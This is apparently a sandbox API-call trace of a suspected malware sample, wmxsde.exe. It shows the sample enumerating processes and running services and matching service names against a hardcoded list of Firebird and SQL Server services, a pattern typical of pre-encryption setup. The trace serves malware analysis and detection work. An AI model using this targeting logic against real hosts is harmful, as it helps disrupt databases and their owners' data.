Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0200.547] lstrlenW (lpString="winlogon.exe") returned 12 [0200.547] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0200.548] lstrlenW (lpString="services.exe") returned 12 [0200.548] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0200.549] lstrlenW (lpString="lsass.exe") returned 9 [0200.549] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0200.550] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0200.551] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0200.552] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0200.552] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.553] lstrlenW (lpString="svchost.exe") returned 11 [0200.553] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.554] lstrlenW (lpString="svchost.exe") returned 11 [0200.613] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0200.614] lstrlenW (lpString="dwm.exe") returned 7 [0200.614] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.615] lstrlenW (lpString="svchost.exe") returned 11 [0200.615] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.616] lstrlenW (lpString="svchost.exe") returned 11 [0200.617] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.618] lstrlenW (lpString="svchost.exe") returned 11 [0200.618] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.619] lstrlenW (lpString="svchost.exe") returned 11 [0200.619] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.620] lstrlenW (lpString="svchost.exe") returned 11 [0200.620] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.621] lstrlenW (lpString="svchost.exe") returned 11 [0200.621] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.622] lstrlenW (lpString="svchost.exe") returned 11 [0200.622] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.623] lstrlenW (lpString="svchost.exe") returned 11 [0200.623] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.624] lstrlenW (lpString="svchost.exe") returned 11 [0200.625] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.625] lstrlenW (lpString="svchost.exe") returned 11 [0200.626] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0200.627] lstrlenW (lpString="spoolsv.exe") returned 11 [0200.627] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.628] lstrlenW (lpString="svchost.exe") returned 11 [0200.628] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0200.629] lstrlenW (lpString="audiodg.exe") returned 11 [0200.629] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0200.630] lstrlenW (lpString="sihost.exe") returned 10 [0200.630] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.631] lstrlenW (lpString="svchost.exe") returned 11 [0200.631] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0200.632] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0200.632] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0200.634] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0200.634] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0200.635] lstrlenW (lpString="Memory Compression") returned 18 [0200.635] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0200.636] lstrlenW (lpString="taskhostw.exe") returned 13 [0200.636] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0200.637] lstrlenW (lpString="msoia.exe") returned 9 [0200.638] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0200.639] lstrlenW (lpString="explorer.exe") returned 12 [0200.639] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0200.640] lstrlenW (lpString="SearchUI.exe") returned 12 [0200.640] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0200.641] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0200.641] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0200.642] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0200.642] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0200.643] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0200.643] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0200.644] lstrlenW (lpString="wmxsde.exe") returned 10 [0200.644] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0200.645] lstrlenW (lpString="dllhost.exe") returned 11 [0200.645] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0200.646] lstrlenW (lpString="wmxsde.exe") returned 10 [0200.646] Process32NextW (in: hSnapshot=0x29c, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 0 [0200.647] CloseHandle (hObject=0x29c) returned 1 [0200.648] Sleep (dwMilliseconds=0x1f4) [0202.264] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f858 [0202.265] EnumServicesStatusExW (in: hSCManager=0x459f858, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0202.266] GetLastError () returned 0xea [0202.266] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1bc4) returned 0x383a8c8 [0202.266] EnumServicesStatusExW (in: hSCManager=0x459f858, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x383a8c8, cbBufSize=0x1bc4, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x383a8c8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0202.267] CloseServiceHandle (hSCObject=0x459f858) returned 1 [0202.267] lstrlenW (lpString="Appinfo") returned 7 [0202.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0202.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0202.267] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0202.267] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0202.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0202.267] lstrlenW (lpString="AppXSvc") returned 7 [0202.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0202.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0202.267] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0202.267] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0202.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0202.267] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0202.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0202.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0202.268] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0202.268] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0202.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0202.268] lstrlenW (lpString="Audiosrv") returned 8 [0202.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0202.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0202.268] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0202.268] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0202.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0202.268] lstrlenW (lpString="BFE") returned 3 [0202.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0202.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0202.268] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0202.268] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0202.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0202.268] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0202.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0202.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0202.268] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0202.268] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0202.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0202.268] lstrlenW (lpString="CDPSvc") returned 6 [0202.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0202.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0202.268] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0202.268] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0202.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0202.269] lstrlenW (lpString="ClickToRunSvc") returned 13 [0202.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0202.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0202.269] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0202.269] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0202.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0202.269] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0202.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0202.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0202.269] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0202.269] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0202.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0202.269] lstrlenW (lpString="CryptSvc") returned 8 [0202.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0202.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0202.269] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0202.269] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0202.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0202.269] lstrlenW (lpString="DcomLaunch") returned 10 [0202.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0202.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0202.269] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0202.269] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0202.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0202.269] lstrlenW (lpString="DeviceAssociationService") returned 24 [0202.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0202.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0202.270] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0202.270] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0202.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0202.270] lstrlenW (lpString="Dhcp") returned 4 [0202.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0202.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0202.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0202.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0202.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0202.270] lstrlenW (lpString="Dnscache") returned 8 [0202.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0202.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0202.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0202.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0202.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0202.270] lstrlenW (lpString="DPS") returned 3 [0202.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0202.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0202.270] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0202.270] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0202.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0202.270] lstrlenW (lpString="DusmSvc") returned 7 [0202.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0202.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0202.270] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0202.270] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0202.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0202.270] lstrlenW (lpString="EventLog") returned 8 [0202.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0202.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0202.271] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0202.271] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0202.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0202.271] lstrlenW (lpString="EventSystem") returned 11 [0202.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0202.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0202.271] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0202.271] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0202.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0202.271] lstrlenW (lpString="FontCache") returned 9 [0202.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0202.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0202.271] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0202.271] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0202.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0202.271] lstrlenW (lpString="gpsvc") returned 5 [0202.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0202.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0202.271] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0202.271] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0202.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0202.271] lstrlenW (lpString="iphlpsvc") returned 8 [0202.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0202.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0202.271] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0202.271] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0202.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0202.271] lstrlenW (lpString="KeyIso") returned 6 [0202.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0202.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0202.272] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0202.272] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0202.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0202.272] lstrlenW (lpString="LanmanServer") returned 12 [0202.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0202.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0202.272] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0202.272] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0202.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0202.272] lstrlenW (lpString="LanmanWorkstation") returned 17 [0202.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0202.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0202.272] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0202.272] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0202.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0202.272] lstrlenW (lpString="lfsvc") returned 5 [0202.272] lstrcmpiW 